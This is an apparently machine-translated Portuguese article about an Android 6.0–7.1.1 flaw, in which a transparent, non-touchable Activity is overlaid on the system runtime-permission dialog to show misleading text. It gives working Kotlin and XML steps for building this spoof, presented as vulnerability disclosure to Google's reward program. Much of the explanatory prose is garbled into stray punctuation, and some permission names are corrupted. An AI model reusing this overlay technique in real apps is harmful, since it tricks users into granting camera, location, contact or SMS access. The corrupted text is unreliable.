Alterar permissões de tempo de execução no Android

Olá, meu nome é Vitaly.





Tenho 25 anos, me formei na Universidade Eletrotécnica do Estado de São Petersburgo "LETI" em minha cidade natal. Eu programo há 10 anos, dos quais 4 escrevo para Android. Autor de muitos programas Homebrew, conhecidos como VITTACH, para o Sony PlayStation Portable (PSP) .





Hoje eu gostaria de discutir com você o problema da segurança de aplicativos móveis. Os desenvolvedores do Google estão constantemente melhorando o Android, encontrando e corrigindo vulnerabilidades com a ajuda de uma grande comunidade reunida graças ao programa Android Security Rewards , do qual falaremos mais tarde. No entanto, os problemas ainda persistem e é nossa tarefa comum como comunidade relatá-los para que sejam corrigidos em tempo hábil.





A vulnerabilidade de que falo, pertence à classe com a Prioridade: a P2 e a Gravidade: a S2 , que segundo a tabela em sentido amplo, significa:





  • Um problema que precisa ser resolvido em um prazo razoável;





  • Um problema que é importante para uma grande porcentagem de usuários e está relacionado à funcionalidade principal.





Permissão de tempo de execução

O artigo se concentrará em algo conhecido por todos os desenvolvedores como permissão Runtime, ou seja, a possibilidade de enganar o usuário final ao demonstrar a caixa de diálogo de permissão com seu próprio texto e ícone sobre o do sistema. É fácil adivinhar que tal abordagem permitiria aos desenvolvedores pedir permissão ao usuário, digamos, para o sistema de arquivos e, de fato, dar acesso à geolocalização, câmera ou qualquer outra coisa.





É impossível

Uma pergunta semelhante foi feita mais de uma vez em fóruns especializados, em particular no StackOverflow . A única resposta correta era que era impossível. E é verdade: é impossível substituir o texto no próprio diálogo do sistema, mas é possível substituí-lo pelo seu.





O que está sob o capô

Runtime Permission Android 6.0



dangerous-. , . dangerous .





Dangerous permissions
  • android.permission_group.CALENDAR





    • android.permission.READ_CALENDAR





    • android.permission.WRITE_CALENDAR





  • android.permission_group.CAMERA





    • android.permission.CAMERA





  • android.permission_group.CONTACTS





    • android.permission.READ_CONTACTS





    • android.permission.WRITE_CONTACTS





    • android.permission.GET_ACCOUNTS





  • android.permission_group.LOCATION





    • android.permission.ACCESSFINELOCATION





    • android.permission.ACCESSCOARSELOCATION





  • android.permission_group.MICROPHONE





    • android.permission.RECORD_AUDIO





  • android.permission_group.PHONE





    • android.permission.READPHONESTATE





    • android.permission.CALL_PHONE





    • android.permission.READCALLLOG





    • android.permission.WRITECALLLOG





    • android.permission.ADD_VOICEMAIL





    • android.permission.USE_SIP





    • android.permission.PROCESSOUTGOINGCALLS





  • android.permission_group.SENSORS





    • android.permission.BODY_SENSORS





  • android.permission_group.SMS





    • android.permission.SEND_SMS





    • android.permission.RECEIVE_SMS





    • android.permission.READ_SMS





    • android.permission.RECEIVEWAPPUSH





    • android.permission.RECEIVE_MMS





    • android.permission.READCELLBROADCASTS





  • android.permission_group.STORAGE





    • android.permission.READEXTERNALSTORAGE





    • android.permission.WRITEEXTERNALSTORAGE









Android GrantPermissionsActivity, .





ActivityCompat.requestPermissions(
    MainActivity.this,
    arrayOf(Manifest.permission.READ_CONTACTS),
    PERMISSION_REQUEST_CODE
)
      
      



Activity, UI , Activity, .





:





Activity android:windowIsTranslucent=true



( Activity , , ) Activity , . Activity Activity .





– Activity , – Activity . Activity, ?





, , , , . , :





Activity , onResume



onPause



. Activity.





, Activity , . – !





,

Kotlin









  • ,





    <style name="Theme.Transparent" parent="AppTheme">
    <item name="android:windowBackground">@android:color/transparent</item>
    <item name="android:windowIsTranslucent">true</item>
    </style>
          
          



  • Activity





    ...
    <activity android:name=".PermissionActivity"
              android:theme="@style/Theme.Transparent">
          
          



  • PermissionActivity layout





    onCreate :





    window.addFlags(
      FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE
    )
          
          



    :





    • FLAG_NOT_FOCUSABLE



      : window, FLAG_NOT_FOCUSABLE



      , ;





    • FLAG_NOT_TOUCH_MODAL



      : , , , ;





    • FLAG_NOT_TOUCHABLE



      : .





  • MainActivity





    ActivityCompat.requestPermissions(
        MainActivity.this,
        arrayOf(Manifest.permission.READ_CONTACTS),
        REQUEST_CODE
    )
          
          



  • MainActivity : PermissionActivity.





    startActivity(Intent(this, PermissionActivity::class.java))
          
          



    PermissionActivity Activity . !





Android >= 7.1.1

Runtime Permission Android 6.0



, 7.1.1



, .. Android



.





Android 6.0



, . , Google .





Android Rewards Program

Enviei um aplicativo e anexei todos os documentos explicativos e de demonstração relacionados a esta vulnerabilidade. De momento, o pedido está a ser analisado, pelo que não posso divulgar os detalhes, pois assinei o acordo correspondente.





Como é mais fácil?

Para a conveniência de explorar a vulnerabilidade, escrevi uma biblioteca




















All Articles